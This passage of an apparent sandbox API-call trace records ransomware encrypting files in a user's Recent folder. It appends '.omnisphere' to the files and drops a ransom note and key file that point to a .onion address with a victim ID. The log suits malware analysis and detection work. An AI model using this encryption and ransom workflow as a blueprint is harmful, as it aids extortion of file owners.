pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.766] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.767] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.767] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.767] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.767] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.767] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.767] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.767] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.767] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.767] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.767] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.767] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.767] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.767] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.767] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.767] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.767] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.767] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.768] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.768] CryptDestroyKey (hKey=0x1639b28) returned 1 [0119.768] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0119.768] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x1b0, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0119.768] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0119.771] GetProcessHeap () returned 0x1600000 [0119.771] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a8) returned 0x16ad5c8 [0119.772] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\desktop.ini"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\desktop.ini.omnisphere")) returned 1 [0119.773] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini.omnisphere.id" [0119.773] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\desktop.ini.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0119.773] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0119.774] CloseHandle (hObject=0x3c0) returned 1 [0119.775] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0119.775] CloseHandle (hObject=0x288) returned 1 [0119.775] SetEndOfFile (hFile=0x28c) returned 1 [0119.775] FlushFileBuffers (hFile=0x28c) returned 1 [0119.782] CloseHandle (hObject=0x28c) returned 1 [0119.782] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0119.782] GetProcessHeap () returned 0x1600000 [0119.782] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16be568 [0119.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0119.782] GetProcessHeap () returned 0x1600000 [0119.782] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16b1e60 [0119.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16b1e60, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0119.782] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0119.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0119.782] GetProcessHeap () returned 0x1600000 [0119.782] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16afd08 [0119.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16afd08, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0119.782] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0119.782] GetProcessHeap () returned 0x1600000 [0119.782] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16a2af0 [0119.782] PathCombineW (in: pszDest=0x16a2af0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0119.782] GetProcessHeap () returned 0x1600000 [0119.782] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16b9660 [0119.783] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.783] WriteFile (in: hFile=0x28c, lpBuffer=0x16b9660*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16b9660*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0119.783] CloseHandle (hObject=0x28c) returned 1 [0119.783] GetProcessHeap () returned 0x1600000 [0119.783] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16be568 | out: hHeap=0x1600000) returned 1 [0119.783] GetProcessHeap () returned 0x1600000 [0119.783] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0119.784] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0119.784] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.784] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0119.784] CloseHandle (hObject=0x28c) returned 1 [0119.784] GetProcessHeap () returned 0x1600000 [0119.784] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0119.784] GetProcessHeap () returned 0x1600000 [0119.784] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167ba88 | out: hHeap=0x1600000) returned 1 [0119.784] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f6a098a, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1f6a098a, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1f6a098a, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x345, dwReserved0=0x0, dwReserved1=0xd3, cFileName="dFw90W0ozbqlw.lnk", cAlternateFileName="DFW90W~1.LNK")) returned 1 [0119.784] GetProcessHeap () returned 0x1600000 [0119.784] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa4) returned 0x162cec8 [0119.784] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="dFw90W0ozbqlw.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dFw90W0ozbqlw.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dFw90W0ozbqlw.lnk" [0119.784] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0119.785] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dFw90W0ozbqlw.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\dfw90w0ozbqlw.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.785] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=837) returned 1 [0119.785] GetTickCount () returned 0x115dee3 [0119.785] GetTickCount () returned 0x115dee3 [0119.785] GetTickCount () returned 0x115dee3 [0119.785] GetTickCount () returned 0x115dee3 [0119.785] GetTickCount () returned 0x115dee3 [0119.785] GetTickCount () returned 0x115dee3 [0119.785] GetTickCount () returned 0x115dee3 [0119.785] GetTickCount () returned 0x115dee3 [0119.785] GetTickCount () returned 0x115dee3 [0119.785] GetTickCount () returned 0x115dee3 [0119.785] GetTickCount () returned 0x115dee3 [0119.785] GetTickCount () returned 0x115dee3 [0119.785] GetTickCount () returned 0x115dee3 [0119.785] GetTickCount () returned 0x115dee3 [0119.785] GetTickCount () returned 0x115dee3 [0119.785] GetTickCount () returned 0x115dee3 [0119.786] GetTickCount () returned 0x115dee3 [0119.786] GetTickCount () returned 0x115dee3 [0119.786] GetTickCount () returned 0x115dee3 [0119.786] GetTickCount () returned 0x115dee3 [0119.786] GetTickCount () returned 0x115dee3 [0119.786] GetTickCount () returned 0x115dee3 [0119.786] GetTickCount () returned 0x115dee3 [0119.786] GetTickCount () returned 0x115dee3 [0119.786] GetTickCount () returned 0x115dee3 [0119.786] GetTickCount () returned 0x115dee3 [0119.786] GetTickCount () returned 0x115dee3 [0119.786] GetTickCount () returned 0x115dee3 [0119.786] GetTickCount () returned 0x115dee3 [0119.786] GetTickCount () returned 0x115dee3 [0119.786] GetTickCount () returned 0x115dee3 [0119.786] GetTickCount () returned 0x115dee3 [0119.786] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16688a0) returned 1 [0119.787] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0119.787] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0119.787] CryptDestroyKey (hKey=0x1639b28) returned 1 [0119.787] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0119.787] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x345, lpName=0x0) returned 0x288 [0119.787] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x345) returned 0x1480000 [0119.788] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16688a0) returned 1 [0119.788] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16394e8) returned 1 [0119.788] CryptSetKeyParam (hKey=0x16394e8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0119.788] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0119.788] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.789] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.789] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.791] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.791] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.791] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.791] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.791] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.791] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.791] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.791] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.791] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.791] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.791] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.791] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.791] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.791] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.791] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.791] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.791] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.791] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.791] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.791] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.792] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.792] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.792] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.792] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.792] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.792] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.792] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.792] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.792] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.792] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.792] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.792] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.792] CryptEncrypt (in: hKey=0x16394e8, 